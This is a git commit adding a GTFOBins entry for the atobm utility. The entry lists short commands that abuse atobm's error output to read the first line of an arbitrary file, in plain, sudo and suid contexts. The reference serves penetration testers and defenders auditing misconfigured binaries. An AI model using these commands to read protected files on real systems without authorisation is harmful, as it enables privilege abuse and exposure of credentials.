Add atobm

master
Michalis Papadopoullos 2021-01-18 00:11:43 +02:00 committed by GitHub
parent da85e84b60
commit 4f11ca6a15
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 0 deletions

16
_gtfobins/atobm.md Normal file
View File

@ -0,0 +1,16 @@
---
description: Outputs the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`.
functions:
file-read:
- code: |
LFILE=file_to_read
atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
sudo:
- code: |
LFILE=file_to_read
sudo atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
suid:
- code: |
LFILE=file_to_read
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
---